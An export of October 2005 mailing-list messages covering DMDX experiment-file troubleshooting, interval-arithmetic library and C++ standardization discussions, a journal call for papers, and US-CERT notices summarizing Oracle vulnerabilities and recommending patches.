El-Owny ,reliable_computing@interval.louisiana.edu,"Wed, 19 Oct 2005 13:04:52 +0200",Generalized Interval Arithmetic....,"Dear All, is there any C++ or Fortran implementation of a Generalized Interval Arithmetic?. Reference: Hansen, E. R. : a Generalized Interval Arithmetic, in Nickel, K. L. (ed.), Interval Mathematics, vol. 29 of lecture notes in computer science, Springer-Verlage, Berlin, 1975. Thanks!. Hassan El-Owny ",0,0 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 18:36:44 +0100",[DMDX] Save response data,"Dear Sir, I have made an item file with 48 items and each item long about 15 seconds. Here, I just want to know can I save responses when I haven't finished the whole items yet? For example, when I run to the 20th item, and I want to stop and save all response from item 1 to item 19. Can I do that on DMDX? Kind regards, Binh Nguyen-Van ",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 15:01:05 -0400",[DMDX] Missing item number,"Hello, I have been writing a control file for a masked priming experiment. As far as I know, I have followed all the directions and to me it looks fine, but when I do a syntax check in DMDX, I get a 'Missing Item Number message'. The problem seems to be related to the 1st '$' sign, because when I tried to remove all my Instructions (after the 1st '$' sign), the problem was still there. I hope I am clear. I tried to look into the Listserv but did not find an answer. Any ideas on what the problem may be? There is an example of my file below. Thanks, Nathalie $0 ""Appuyer sur le bouton VERT si la suite de lettres est un mot."", ""Appuyer sur le bouton ROUGE si la suite de lettres nest PAS un mot."", ""Pour commencer, appuyer sur la BARRE DESPACEMENT."", ""Assurez-vous de répondre le plus rapidement possible et de façon la plus juste possible.""; -225 ""########""/ ""spuv""/ * ""PARI""/; +225 ""########""/ ""yoiz""/ * ""ARGS""/; -225 ""########""/ ""yift""/ * ""FLUV""/; -225 ""########""/ ""zeen""/ * ""BUZE""/; -225 ""########""/ ""ryld""/ * ""LOCE""/; +225 ""########""/ ""shra""/ * ""PAPE""/; +225 ""########""/ ""nong""/ * ""DIFE""/; +225 ""########""/ ""yuim""/ * ""CHIB""/; +225 ""########""/ ""cigg""/ * ""LIRE""/; +225 ""########""/ ""horv""/ * ""ZOIN""/; -225 ""########""/ ""mact""/ * ""SITE""/; -225 ""########""/ ""byck""/ * ""GARS""/; -225 ""########""/ ""yerm""/ * ""TIRE""/; +225 ""########""/ ""hift""/ * ""MÂLE""/; -225 ""########""/ ""kron""/ * ""MIRE""/; +225 ""########""/ ""hezz""/ * ""LOUP""/; +225 ""########""/ ""luks""/ * ""FASH""/; -225 ""########""/ ""twax""/ * ""FLEG""/; 0 ""PAUSE"", ""Pour recommencer, appuyer sur la BARRE DESPACEMENT."";$ +101 ""########"" / ""fain"" / * ""FAIM"" /; -102 ""########"" / ""lens"" / * ""LENT"" /; +103 ""########"" / ""bore"" / * ""BORD"" /; +104 ""########"" / ""peir"" / * ""PAIR"" /; +105 ""########"" / ""bhau"" / * ""BEAU"" /; ... -327 ""########"" / ""solt"" / * ""SOLE"" /; +328 ""########"" / ""firs"" / * ""FILS"" /; +329 ""########"" / ""fauc"" / * ""FAUX"" /; +330 ""########"" / ""bane"" / * ""BANC"" /; $ 0 ""FIN"", ""Merci beaucoup!"";$",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 21:32:28 +0100",[DMDX] RE: Missing item number,"Dear Nathalie, you only use the '$' sign when you want to prevent items from being shuffled (you encase items in '$' signs that you don't want to be shuffled). I think your problem was that you had did not specify the parameter in the header bit of your dmdx code. Below I've pasted 2 versions of your code that do work (be aware that I've removed some coding so your experiment works on my machine), the first where the items are not shuffled, the 2nd where they are shuffled (I'm presuming the first 2 items are practice trials and are not shuffled in the 2nd example). I hope I've answered your question. Good luck with that, Andy. The below code works (presumes no shuffling): 0 ""Appuyer sur le bouton VERT si la suite de lettres est un mot."", ""Appuyer sur le bouton ROUGE si la suite de lettres nest PAS un mot."", ""Pour commencer, appuyer sur la BARRE DESPACEMENT."", ""Assurez-vous de répondre le plus rapidement possible et de façon la plus juste possible.""; -225 ""########""/ ""spuv""/ * ""PARI""/; -225 ""########""/ ""twax""/ * ""FLEG""/; 0 ""PAUSE"", ""Pour recommencer, appuyer sur la BARRE DESPACEMENT.""; +101 ""########"" / ""fain"" / * ""FAIM"" /; +329 ""########"" / ""fauc"" / * ""FAUX"" /; 0 ""FIN"", ""Merci beaucoup!""; The below code works (presumes shuffling): $0 ""Appuyer sur le bouton VERT si la suite de lettres est un mot."", ""Appuyer sur le bouton ROUGE si la suite de lettres nest PAS un mot."", ""Pour commencer, appuyer sur la BARRE DESPACEMENT."", ""Assurez-vous de répondre le plus rapidement possible et de façon la plus juste possible.""; -225 ""########""/ ""spuv""/ * ""PARI""/; -225 ""########""/ ""twax""/ * ""FLEG""/; 0 ""PAUSE"", ""Pour recommencer, appuyer sur la BARRE DESPACEMENT."";$ +101 ""########"" / ""fain"" / * ""FAIM"" /; +105 ""########"" / ""bhau"" / * ""BEAU"" /; +330 ""########"" / ""bane"" / * ""BANC"" /; $ 0 ""FIN"", ""Merci beaucoup!"";$",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 13:45:13 -0700",[DMDX] Re: Save response data,"At 06:36 PM 10/19/2005 +0100, you wrote: >Dear Sir, > >I have made an item file with 48 items and each item long about 15 seconds. >Here, I just want to know can I save responses when I haven't finished the >whole items yet? For example, when I run to the 20th item, and I want to stop >and save all response from item 1 to item 19. Can I do that on DMDX? You can branch to the end of the item file when in the middle or include a last frame switch (L) in any item and DMDX will stop the job. There is no way to save the data and continue unless you break the item file into two files and use at the end of the first one to chain to the second one. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You probably wouldn't worry about what people think of you if you could know how seldom they do. - Olin Miller.",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 16:45:44 -0400",[DMDX] Re: RE: Missing item number,"Hello Andy, Thanks a lot you solved my problem! I had removed the command to do some debugging, but had not removed the '$' signs has you pointed out. Nathalie Andy a écrit: >Dear Nathalie, you only use the '$' sign when you want to prevent items from >being shuffled (you encase items in '$' signs that you don't want to be >shuffled). I think your problem was that you had did not specify the >parameter in the header bit of your dmdx code. Below I've pasted 2 versions >of your code that do work (be aware that I've removed some coding so your >experiment works on my machine), the first where the items are not shuffled, >the 2nd where they are shuffled (I'm presuming the first 2 items are >practice trials and are not shuffled in the 2nd example). I hope I've >answered your question. Good luck with that, Andy. > > >The below code works (presumes no shuffling): > > ""keyboard""> > >0 ""Appuyer sur le bouton VERT si la suite de lettres est un mot."", > ""Appuyer sur le bouton ROUGE si la suite de lettres nest PAS un >mot."", ""Pour commencer, appuyer sur la BARRE DESPACEMENT."", >""Assurez-vous de répondre le plus rapidement possible et de façon la plus >juste possible.""; > >-225 ""########""/ ""spuv""/ * ""PARI""/; >-225 ""########""/ ""twax""/ * ""FLEG""/; > >0 ""PAUSE"", ""Pour recommencer, appuyer sur la BARRE >DESPACEMENT.""; > >+101 ""########"" / ""fain"" / * ""FAIM"" /; >+329 ""########"" / ""fauc"" / * ""FAUX"" /; > > >0 ""FIN"", ""Merci beaucoup!""; > > > >The below code works (presumes shuffling): > > ""keyboard""> >$0 ""Appuyer sur le bouton VERT si la suite de lettres est un mot."", > ""Appuyer sur le bouton ROUGE si la suite de lettres nest PAS un >mot."", ""Pour commencer, appuyer sur la BARRE DESPACEMENT."", >""Assurez-vous de répondre le plus rapidement possible et de façon la plus >juste possible.""; >-225 ""########""/ ""spuv""/ * ""PARI""/; >-225 ""########""/ ""twax""/ * ""FLEG""/; > >0 ""PAUSE"", ""Pour recommencer, appuyer sur la BARRE >DESPACEMENT."";$ > >+101 ""########"" / ""fain"" / * ""FAIM"" /; >+105 ""########"" / ""bhau"" / * ""BEAU"" /; >+330 ""########"" / ""bane"" / * ""BANC"" /; > >$ 0 ""FIN"", ""Merci beaucoup!"";$ > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > > -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 Oct 2005 13:48:12 -0700",[DMDX] Re: RE: Missing item number,"At 09:32 PM 10/19/2005 +0100, you wrote: >Dear Nathalie, you only use the '$' sign when you want to prevent items from >being shuffled (you encase items in '$' signs that you don't want to be >shuffled). I think your problem was that you had did not specify the >parameter in the header bit of your dmdx code. For sure. When the scramble routines are not invoked with S or scramble commands (like $ and \\) are not removed from the item file. So the item read routing comes along looking for a correct response indicator or an item number and finds a $ instead and chokes on it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You probably wouldn't worry about what people think of you if you could know how seldom they do. - Olin Miller.",0,0 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 19 Oct 2005 16:17:23 -0400",US-CERT Technical Cyber Security Alert TA05-292A -- Oracle Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA05-292A Oracle Products Contain Multiple Vulnerabilities Original release date: October 19, 2005 Last revised: -- Source: US-CERT Systems Affected * Oracle Database Server 10g * Oracle9i Database Server * Oracle8i Database Server * Oracle8 Database Server * Oracle Enterprise Manager 10g Grid Control * Oracle Enterprise Manager Application Server Control * Oracle Enterprise Manager 10g Database Control * Oracle Application Server 10g * Oracle9i Application Server * Oracle Collaboration Suite 10g * Oracle9i Collaboration Suite * Oracle E-Business Suite Release 11i * Oracle E-Business Suite Release 11.0 * Oracle Clinical * JD Edwards EnterpriseOne, OneWorld XE * Oracle Developer Suite * Oracle Workflow For more information regarding affected product versions, please see the Oracle Critical Patch Update - October 2005. Overview Various Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include unauthenticated, remote code execution, information disclosure, and denial of service. I. Description Oracle released a Critical Patch Update in October 2005. It addresses more than eighty vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about affected components, access and authorization required, and the impact of the vulnerabilities on data confidentiality, integrity, and availability. For more information on terms used in the Critical Patch Update, Metalink customers should refer to MetaLink Note 293956.1. According to the Critical Patch Update: ""The new database vulnerabilities addressed by this Critical Patch Update do not affect Oracle Database Client-only installations (installations that do not have the Oracle Database Server installed). Therefore, it is not necessary to apply this Critical Patch Update to client-only installations if a prior Critical Patch Update, or Alert 68, has already been applied to the client-only installations."" US-CERT recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. US-CERT is tracking all of these issues under VU#210524. As further information becomes available, we will publish individual Vulnerability Notes. Note that according to public reports, the patches included in this update, as well as previous updates, may not adequately correct all security vulnerabilities. II. Impact The impact of these vulnerabilities varies depending on the product, component, and configuration of the system. Potential consequences include remote execution of arbitrary code or commands, information disclosure, and denial of service. An attacker who compromises an Oracle database may be able to gain access to sensitive information. III. Solution Apply a patch Apply the appropriate patches or upgrade as specified in the Oracle Critical Patch Update - October 2005. Note that this Critical Patch Update only lists newly corrected issues. Updates to patches for previously known issues are not listed. Workarounds It may be possible to mitigate some vulnerabilities by disabling or removing unnecessary components, restricting network access, and restricting access to temporary files. Oracle Critical Patch Update - October 2005 suggests disabling the PSQL Manager to mitigate a vulnerability in PeopleSoft Enterprise PeopleTools (PSE04). Appendix A. Vendor Information Oracle Please see Oracle Critical Patch Update - October 2005 and Critical Patch Updates and Security Alerts. Appendix B. References * Critical Patch Update - October 2005 - * Critical Patch Updates and Security Alerts - * MetaLink Note 293956.1 - * US-CERT Vulnerability Note VU#210524 - * US-CERT Vulnerability Notes Related to Critical Patch Update - October 2005 - * Map of Public Vulnerability to Advisory/Alert - * SecurityFocus BugTraq - _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Feedback can be directed to US-CERT. Please send email to: with ""TA05-292A Feedback VU#210524"" in the subject. _________________________________________________________________ Revision History Oct 19, 2005: Initial release _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use _________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ1aoq30pj593lg50AQLg0wgAz83P5EEFyjDoBxSNW/yZBNkgQz6Wiq2K 2JPMbO6qFg/pQoXyrwxJL5qAUXHGSbWUNbUHI77iKr88pHqtNwg7fKj4jPv9CAJA GfYYZPBdRKmHsEXRwfUddiD2x/CdTpxuvqer9u9KKgSqo91g4m6EwfHgntsRU6Qm wSsGPVZAjt0spBnK1TcGV1OuPvQDpoArXNnlXZZxgx+u2Qx8Qo1zEXStZjEsyeMc Y7wEJnsxktUM/qvc9cbjuA3tqBd1Cmazh5I8jqC+81aVW/I8/aY9rd9YEyRzHIcI WLKW4GPw/f0dynNPNqkM5TEAMb+iHzfDSESTHuZnQHLd8b+6AFDGCg== =Lcm/ -----END PGP SIGNATURE-----",0,1 """Kreinovich, Vladik"" ","Hassan El-Owny , reliable_computing@interval.louisiana.edu","Wed, 19 Oct 2005 14:29:11 -0600",RE: Generalized Interval Arithmetic....,"There is an implementation (I am afraid it it may be in C) of a similar formalism - affine arithmetic; the reference is in http://www.dcc.unicamp.br/~stolfi/EXPORT/projects/affine-arith/Welcome.h tml You get there by clicking on Generalizations of Interval Arithmetic and their Applications link in the interval computations website http://www.cs.utep.edu/interval-comp/ Vladik -----Original Message----- From: owner-reliable_computing@interval.louisiana.edu [mailto:owner-reliable_computing@interval.louisiana.edu] On Behalf Of Hassan El-Owny Sent: Wednesday, October 19, 2005 05:05 To: reliable_computing@interval.louisiana.edu Subject: Generalized Interval Arithmetic.... Dear All, is there any C++ or Fortran implementation of a Generalized Interval Arithmetic?. Reference: Hansen, E. R. : a Generalized Interval Arithmetic, in Nickel, K. L. (ed.), Interval Mathematics, vol. 29 of lecture notes in computer science, Springer-Verlage, Berlin, 1975. Thanks!. Hassan El-Owny ",0,1 Ralph ,"""\\""Jürgen Wolff v. Gudenberg\\"""" , Hervé Brönnimann , Sylvain Pion , Guillaume Melquiond ","Wed, 19 Oct 2005 16:41:39 -0400",Re: C++ Standardization of intervals,"I know a lot more about the Boost Library than interval analysis. The boost library is a collaborative project of many of the worlds best programmers. Parts of the Boost library are often incorporated into the next version of C++. The code is always excellent, and reviewed and debated by many experts. I do not know if Boost has any or many experts in interval analysis. If there are shortcomings in the Boost implementation of intervals, please send the Boost authors detailed explanations of suggested improvements. Let them know you are an expert. They will absolutely take your suggestions seriously. I think Boost intervals might be incorporated into C++ Ox, which is under review RIGHT NOW, so don't wait. Cooperating with Boost is likely to be much more productive for all than producing a competing standard. Thanks, Ralph Kelsey Ohio Univ Comp Sci Dept --On Wednesday, October 19, 2005 10:38 AM +0200 ""\\""Jürgen Wolff v. Gudenberg\\"""" wrote: > Dear Colleges > I think it will be a push forward for interval analysis, if we had a > standard interval arithmetic library in C++. > Therefore I strongly support your proposal. > But we should see that the proposal does not outrule existing > applications or advanced libraries.like boost filib++ or C-XSC, e.g. > The phrasing of the standard should be clear and easy to understand for > compiler writers and other occasional users. > > We have discussed the proposal on a workshop in Dagstuhl. I attach the > result as a pdf file. > best regards > Juergen WvG > > Hervé Brönnimann wrote: > >> Dear fellow intervalers: >> >> As you may know, we (G. Melquiond, S. Pion, and myself) have been >> following Jens Maurer's footsteps in providing a C++ implementation >> of intervals. This has resulted in the C++ Boost.Interval library, >> which was accepted three years ago after a thorough public review >> into Boost. The URL is: >> >> http://boost.org/libs/numeric/interval/doc/interval.htm >> >> One of the goals of the Boost.Interval library was standardization. >> We hope that by standardization, we will create opportunities for >> better optimizations directly in the C++ compilers. The overall >> benefit, should the proposal be accepted, is that an efficient and >> optimized implementation of intervals would ship with most C++ >> compilers, in the same way as the class templates complex and >> valarray already do, and as interval already does with the Sun compiler.. >> >> We are now preparing a proposal for the C++ ISO Standard. We have of >> course had to make a few choices, but by and large, our approach has >> been to make reasonable and conservative choices to limit the >> Boost.Interval library (which allows all kinds of behaviors through a >> policy-based design). I copy-paste the design overview below. This >> is of course a very succinct statement, but it reflects most of the >> design choices. The devil may be in the details, but in the broad >> design, we have carefully taken into account the Interval FAQ, the >> existing Sun implementation, and the discussions. The full >> preliminary proposal and code is accessible from Sylvain Pion's web >> page: >> >> http://www-sop.inria.fr/geometrica/team/Sylvain.Pion/cxx/ >> >> We have already had some comments. If there are enough comments, we >> would try to issue a revision before the next C++ standardization >> meeting (October, in accordance with the Fall calendar of the C++ >> committee), where we will defend the proposal. >> >> We would like to get your feedback, and want to assure you that we >> are committed in getting the best proposal possible, both in terms of >> performance, design, and consensus. Also, it is important that you >> provide your vocal support (tell us, write a formal letter of >> support, etc.) if you would like to see the proposal accepted. We >> would like to offer the C++ committee the assurance that the proposal >> has the wide support from the interval community. >> >> Please reply to all three of us (we're in the Cc list) as well as to >> the interval list. >> >> Yours, >> -- >> Hervé Brönnimann >> CIS, Polytechnic University >> hbr@poly.edu >> >> >> >> Excerpt from the design overview [for information only; for >> discussions, please try and read the whole proposal before commenting] >> >> >>> The basic design aims at introducing a single class template >>> {interval} which guarantees the inclusion property. Like >>> {complex}, we decided to support the three built-in floating >>> point types and leave the rest unspecified. We decided to support >>> empty intervals, because they can be integrated easily into the >>> proposal. We decided to support equality and relational comparisons >>> that extend the comparisons on the base type {T}. This implies >>> dealing with comparisons of empty or overlapping intervals. Both can >>> be made to work very naturally by also providing an {interval} >>> as the result of such comparisons, and exceptions can be avoided up >>> to this level. In this way, we are supporting both the >>> certainly-less-than and possibly-less-than comparison models. In >>> order to use comparisons in conditionals, a conversion from >>> {interval} to {bool} is provided, and only at that level is an >>> exception thrown, when it involves an empty or indeterminate boolean >>> interval. The behavior on out-of-domain argument values (in {sqrt}, >>> for instance) is a silent and no-exception behaviour, which returns >>> the empty interval. >>> >>> > > -- > Prof. Dr. Juergen Wolff v. Gudenberg > o Lehrstuhl fuer Informatik II > / \\ Universitaet Wuerzburg Phone: +49 (0)931-888-6602 > InfoII o Am Hubland Fax: +49 (0)931-888-6603 > / \\ D-97074 Wuerzburg > o o http://www2.informatik.uni-wuerzburg.de/staff/wvg/ >",0,1 Kevin Resnick ,cs382m@lists.cc.utexas.edu,"Wed, 19 Oct 2005 17:10:58 -0500",[CS382M:24] Jacket Found,"Hi, I found a jacket after the test (I had to go back for some of my stuff that I left). It looks like a girl's black jacket, medium, and it was in the front left-most seat. I'll bring it to class Monday, if it's yours and you need it sooner, feel free to e-mail me. Kevin ",0,0 Gabriel Dos Reis ,Ralph ,"Thu, 20 Oct 2005 08:11:45 +0200",Re: C++ Standardization of intervals,"Ralph writes: [...] | I think Boost intervals | might be incorporated into C++ Ox, I hope Hervé and Sylvain will post a report of the last C++ committee meeting to this list (I wasn't in the library room when it was discussed). There is no rule for automatic lifting of Boost libraries into C++0x. However, the interval component proposal was discussed and I believe some issues would need to be addressed before the C++ committee considered it for vote into C++0x. -- Gaby",0,0 Herve Bronnimann ,"Gabriel Dos Reis , reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Thu, 20 Oct 2005 02:41:02 -0400",Re: C++ Standardization of intervals,"On Thu, Oct 20, 2005 at 08:11:45AM +0200, Gabriel Dos Reis wrote: > | I think Boost intervals might be incorporated into C++ Ox, > > I hope Herv? and Sylvain will post a report of the last C++ committee > meeting to this list (I wasn't in the library room when it was > discussed). Of course, Gaby is right. The fact that we presented a proposal to the ISO C++ Committee and that the proposal wasn't outright rejected, does not mean it is accepted. In any case, it is not targeted at C++0x, but only at the Technical Report TR2 (if you don't understand these subtleties, don't worry). There will be more revisions and presentations to the committe before we know either way. What can be said for now, is that besides the technical issues (which appear to be not too hard to resolve) the main obstacle seems to establish a broad user base of customers. In a nutshell, C++ library vendors want to know that their efforts will be rewarded (commercially speaking), and this is their entire right. They are committed to providing an implementation of the C++ standard, it is costly for them (esp. the transcendental math functions on intervals), so they want to see a potential return before they would approve. Hence my message to the community is: please communicate to us (me, S.Pion or G. Melquiond) any project or organization that would be willing to state publicly that it would make a difference to have intervals in the C++ standard. We've already had some feedback in that sense, but need more to establish a strong case. Thank you, -- Herv� Br�nnimann CIS, Polytechnic University hbr@poly.edu ",0,0 Markus Neher ,reliable_computing@interval.louisiana.edu,"Thu, 20 Oct 2005 10:56:06 +0200",CoStLy 2.0,"Dear colleagues, version 2.0 of the CoStLy C++-library for complex inclusion functions has been released. Most of the library functions have been redesigned to eliminate overflow, underflow and cancellation in intermediate expressions. This has improved the robustness of the library and the accuracy of the computed range bounds for arguments with very large or very small absolute values and for arguments close to singularities. The following complex functions are included in CoStLy (see the CoStLy documentation for details): abs, arg, sqr, n-th power, sqrt, n-th root; exp, ln, cos, sin, tan, cot, cosh, sinh, tanh, coth; Acos, Asin, Atan, Acot, Acosh, Asinh, Atanh, Acoth. All inclusion functions are implemented for computing optimal range bounds in exact arithmetic. Using the IEEE 754 double format, for a test suite of 1200 point and interval arguments, the observed accuracy of the range bounds was 48 to 52 bits. (I'm not claiming that the accuracy is always so high; for arguments sufficiently close to a singularity, the computed range bounds are rigorous, but not necessarily accurate; if the range exceeds maxreal, then the computation breaks down.) CoStLy 2.0 is distributed under the terms of the GNU General Public License. It is available at the CoStLy website http://iamlasun8.mathematik.uni-karlsruhe.de/~ae16/CoStLy.html Best regards, Markus ",0,1 Jon Andoni Duñabeitia Landaburu ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Oct 2005 11:06:27 +0000",[DMDX] Display error,"Dear DMDX-mates, In the La Laguna University (ULL), we have been working with DMDX for some time, but we noticed some errors depending on the .rtf files we use. The version we use is 3.1.2.6 and once we want to run an experiment written down in a .rtf file, an error display appears telling us about the configuration of the screen (CRTs), and an strange request done to use 600x400… that we never asked for. Our experiments run properly in a 85Hz display, without any video mode written in the parameters lines, with the correct configuration on TimeDX, but in other displays and computers, they don’t run. What should we do for making them run? Thank you for your helpful work. Jon Andoni _________________________________________________________________ Descubre la descarga digital con MSN Music. Más de medio millón de canciones. http://music.msn.es/ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Oct 2005 08:15:27 -0700",[DMDX] Re: Display error,"At 11:06 AM 10/20/2005 +0000, you wrote: >Dear DMDX-mates, > >In the La Laguna University (ULL), we have been working with DMDX for some >time, but we noticed some errors depending on the .rtf files we use. >The version we use is 3.1.2.6 and once we want to run an experiment >written down in a .rtf file, an error display appears telling us about the >configuration of the screen (CRTs), and an strange request done to use >600x400… that we never asked for. Really old versions of DMDX could ask for the default 640x480 video mode before the video mode that the item file asked for was used but we're talking about versions prior to 3. If an item file doesn't contain a keyword it will be using 640x480. >Our experiments run properly in a 85Hz display, without any video mode >written in the parameters lines, with the correct configuration on TimeDX, >but in other displays and computers, they don’t run. >What should we do for making them run? Use a specific that asks for an 85 Hz display. There are about a dozen things that can change what a generic display's (one that is listed as 0 Hz) frequency is and only a couple that can muck up a specific request to use a given frequency so I recommend using a that asks for a specific frequency. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The bug stops here.",0,0 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Oct 2005 17:20:43 +0100",[DMDX] DMDX not run,"Dear Sir, I have made a item file and it run well on destops. However, when copying the file to my laptop and press run, on screen displayed a message: Not enough video memory. Then I check Dsplay Properties/Advanced/Adapter, and see Memory Size is 32 MB. I think the video memory may have no problems. Could you please let me have any advices in my case. Kind regards, Binh Nguyen-Van ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 20 Oct 2005 14:33:28 -0400","US-CERT Cyber Security Bulletin SB05-292 -- Summary of Security Items from October 12 through October 18, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from October 12 through October 18, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from October 12 through October 18, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ1fhln0pj593lg50AQLjcAf+IBi27qSxOYMYN+2mARXN4592vjESVG9V oKp9IOKuXeHR6bfBOHgUxSwMWUA81fk538LKKmx8L5xZEyPHC7gmognHCV9lyERd kM+r5YqnPGVytclaMwC2wgdbJvxUlhN4tiHFIkExe/LkiV17B/iKq+MIxovEDFVt jXOK0zSvzb+O7R8P/R2uuk0GqcOocACiROE6TLUYGWk1O2RErbavBFiumQvBzGyX odEyv73KEu502cPK0yaVHyIohe5eNRbJDQYP7iTrwDslcdve7iuioB0/0/fBlzEt DcYqtgEpnQnB4Nq5JP9zPZ86FFBFr2OIktrRcw6Hxt/RLUfDlyMuGg== =Pkzm -----END PGP SIGNATURE-----",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Fri, 14 Oct 2005 14:17:20 -0500",LAA announcement," LINEAR ALGEBRA AND ITS APPLICATIONS Special Issue on LINEAR AND NONLINEAR MODELS AND ALGORITHMS IN INTENSITY-MODULATED RADIATION THERAPY (IMRT) Call for Papers Linear Algebra and its Applications (LAA) is pleased to announce a special issue on ""Linear and Nonlinear Models and Algorithms in Intensity-Modulated Radiation Therapy (IMRT)"". IMRT is revolutionizing radiation therapy by putting at the disposal of the medical profession powerful tools to deliver higher radiation doses to tumors and lower radiation doses to critical organs in more accurate ways. The scientific effort is a multidisciplinary one in which radiation oncologists, other medical specialists, medical physicists, mathematicians, computer scientists and engineers collaborate to study many outstanding problems in treatment planning and delivery. The goal is to merge this expertise and discover IMRT solutions that can produce meaningful benefits to patients and consistent results to practitioners. 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We welcome papers for the special issue within the entire scope of IMRT; topics of interest include, but are not limited to: Algorithm engineering Aperture weight optimization Automated structure delineation Column-generation methods for large problem formulations Dose-volume constraints handling Gantry angle optimization Image-guided radiation therapy (IGRT) Large-scale matrix reduction and sparsing techniques Mathematical programming and operations research methods in IMRT Optimization of the segmentation process Rigid and deformable registration Sensitivity analysis for revised constraints or changed geometry Sampling techniques over constrained volumes Variance at risk methods for dose-volume modeling The deadline for submission of papers is July 31, 2006. Papers should be sent to any one of the four special editors, listed below, preferably PDF files as attachments to e-mail, and will be subject to normal refereeing procedures according to LAA standards. Go to: http://authors.elsevier.com/JournalDetail.html?PubID=522483&Precis=&popup= and click on: ""Guide for Authors"" (but do not use the online submission for this special issue). Yair Censor, D.Sc. Department of Mathematics, University of Haifa, Mt. Carmel, Haifa 31905, Israel. yair@math.haifa.ac.il James M. Galvin, D.Sc. Department of Radiation Oncology, Thomas Jefferson University 111 South 11th Street, Philadelphia, PA. 19107, USA. james.galvin@mail.tju.edu Mark Langer, MD Department of Radiation Oncology, Indiana University School of Medicine 535 Barnhill Dr., RT-041, Indianapolis, IN. 46202, USA. mlanger@iupui.edu Ying Xiao, Ph.D. Department of Radiation Oncology, Thomas Jefferson University 111 South 11th Street, Philadelphia, PA. 19107, USA. ying.xiao@mail.tju.edu The editor-in-chief responsible for this special issue is Hans Schneider. ",0,1 Andrzej Pownuk ,reliable_computing@interval.louisiana.edu,"Mon, 17 Oct 2005 21:00:21 +0200",RE: How to solve DAE with an interval initial condition or an interval parameter?,"If you have particular problem then you know more or less how the solution y=y(t,h) behave (h is an interval parameter, t is a time). Then you can calculate the derivative of the solution y with respect to the interval parameters [h] (i.e. dy/dh). That should be easy. You can calculate this for the mid point of the interval [h]=[h_inf,h_sup]. If width of the interval [h] (or interval vector) is sufficiently small and the sign of the derivative is constant then you can calculate the extreme values of the solution using the endpoints of the interval [h] (or interval vector). I know that this is very simply method but in most cases it is sufficient. If you need more accurate results then you can expand the derivative using Taylor series dy(h)/dh= dy(h0)/dh+ d^2y(h0)/dh^2*(h-h0)+. and after that check the sign of the derivative. Look at high order monotonicity tests here: http://andrzej.pownuk.com/~andrzej/publications/Pownuk%20A.,%20Numerical%20s olutions%20of%20fuzzy%20partial%20differential%20equations%20and%20its%20app lications%20in%20computational%20mechanics.pdf If the interval [h] is very wide then you can divide it into smaller parts and repeat above procedure. If the sign of the derivative is not constant then . you can divide the interval [h] into smaller parts and check monotonicity again. Well if the solution behave really bad then . . I do not know what to do :). Some information about the solution you can get after calculation of the solution for the endpoints of the interval [h] and some points in the middle of the interval [h]. However the results may be very inaccurate. Above described algorithms do not give you the results with guaranteed accuracy . however sometimes . in my case (civil mechanical engineering examples) these methods give you accurate results in 90% of cases (in my opinion). If one calculate the interval solution using above described methodology then the interval solution has always physical interpretation. There are lot of engineering papers in which the solution is calculated only for endpoints and sometimes that is enough in practice. http://andrzej.pownuk.com/IntervalEquations.htm http://andrzej.pownuk.com/fuzzyPDE.htm In some cases you can also get good results with guaranteed accuracy using interval methods (for example using constraint satisfaction approach or some kind of validated Taylor methods). However if the t is very large the results may be overestimated then we will get a lot of solutions which do not correspond to any parametric solution and because of that do not have any physical interpretation (in such cases it is almost meaningless). If the approximation of the interval solution is good then there are no such problems even if the interval solution belong to very large interval (i.e. even very wide interval solution may have very clear meaning and physical interpretation). Regards, Andrzej Pownuk http://andrzej.pownuk.com > My research field is Multibody Dynamics and the core of the simulation is to solve the differenial-algebraic equations. > such as , { y\\' =f(y,t) > { 